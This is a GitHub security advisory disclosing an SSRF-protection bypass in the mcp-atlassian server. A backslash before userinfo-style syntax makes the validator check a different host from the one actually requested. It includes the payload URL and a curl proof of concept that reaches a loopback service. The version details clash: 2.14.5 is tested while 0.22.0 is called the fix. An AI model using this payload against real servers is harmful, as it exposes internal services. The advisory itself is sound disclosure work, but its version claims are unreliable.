GHSA-hgcf-4mq8-5266: SSRF
Environment
- Project: sooperset/mcp-atlassian - Affected function: validateurlforssrf() - Affected path: header-based Jira/Confluence URL authentication flow - Tested endpoint: POST /mcp - Tested version: 2.14.5
Description
The SSRF protection in validateurlforssrf() can be bypassed with a URL containing a backslash before userinfo-like syntax.
Affected code:
python parsed = urlparse(url) hostname = parsed.hostname ... iperror = checkipaddress(hostname) ... dnserror = checkdnsresolution(hostname)
Payload:
text http://127.0.0.1:6666\@www.baidu.com
For this input, urllib.parse.urlparse() treats the hostname as:
text www.baidu.com
Therefore, validateurlforssrf() validates www.baidu.com instead of 127.0.0.1. However, the downstream request made through the Atlassian client / requests.Session reaches the local service:
text http://127.0.0.1:6666/%5C@www.baidu.com/rest/api/2/myself
This allows an attacker-controlled Jira URL to target loopback or internal services.
Proof of Concept
Start a local HTTP server:
bash python3 -m http.server 6666 --bind 127.0.0.1
Start mcp-atlassian with streamable HTTP transport on port 9000.
Initialize an MCP session with the malicious Jira URL:
bash curl -i http://127.0.0.1:9000/mcp \ -H 'Content-Type: application/json' \ -H 'Accept: application/json, text/event-stream' \ -H 'X-Atlassian-Jira-Url: http://127.0.0.1:6666\@www.baidu.com' \ -H 'X-Atlassian-Jira-Personal-Token: dummy-token' \ --data '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-06-18","capabilities":{},"clientInfo":{"name":"ssrf-test","version":"0.1"}}}'
Send the initialized notification using the returned Mcp-Session-Id:
bash curl -i http://127.0.0.1:9000/mcp \ -H 'Content-Type: application/json' \ -H 'Accept: application/json, text/event-stream' \ -H 'mcp-session-id: <SESSIONID>' \ -H 'X-Atlassian-Jira-Url: http://127.0.0.1:6666\@www.baidu.com' \ -H 'X-Atlassian-Jira-Personal-Token: dummy-token' \ --data '{"jsonrpc":"2.0","method":"notifications/initialized"}'
Trigger Jira fetcher creation and token validation:
bash curl -i http://127.0.0.1:9000/mcp \ -H 'Content-Type: application/json' \ -H 'Accept: application/json, text/event-stream' \ -H 'mcp-session-id: <SESSIONID>' \ -H 'X-Atlassian-Jira-Url: http://127.0.0.1:6666\@www.baidu.com' \ -H 'X-Atlassian-Jira-Personal-Token: dummy-token' \ --data '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"jiragetissue","arguments":{"issuekey":"TEST-1"}}}'
Observed response:
<img width="1505" height="442" alt="image" src="https://github.com/user-attachments/assets/f98a2ad6-8bc2-453c-9ef8-481dd991bc8e" />
The local HTTP server also receives the request, confirming SSRF.
<img width="891" height="131" alt="image" src="https://github.com/user-attachments/assets/3bbeb142-2aae-4d1d-ae65-7f57015325c6" />
Root Cause
The security validation and the actual HTTP request do not use the same URL interpretation.
- validateurlforssrf() uses urllib.parse.urlparse() and validates parsed.hostname. - For the payload, parsed.hostname is www.baidu.com. - The actual request is sent by the Atlassian client through requests.Session. - requests treats the target as 127.0.0.1:6666 and percent-encodes the backslash into the request path.
This parser mismatch allows a restricted host to be hidden before \@.
Impact
An attacker who can provide X-Atlassian-Jira-Url or X-Atlassian-Confluence-Url may force the server to send requests to loopback or internal services despite SSRF validation.
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/mcp-atlassianto a version that resolves this vulnerability.Fixed in 0.22.0
Event History
Frequently Asked Questions
Which deployments are in scope for this issue?
The affected path is the header-based Jira/Confluence URL authentication flow in pip/mcp-atlassian. The proof of concept was tested against POST /mcp.
What does an attacker need to exploit the bypass?
The attacker needs to control the Jira URL processed by the affected flow. A URL using a backslash before userinfo-like syntax can pass validation as an external hostname while the downstream Atlassian client request is sent to a loopback or internal service.
What version has been confirmed in testing?
Version 2.14.5 was tested. The provided information does not establish the full affected version range.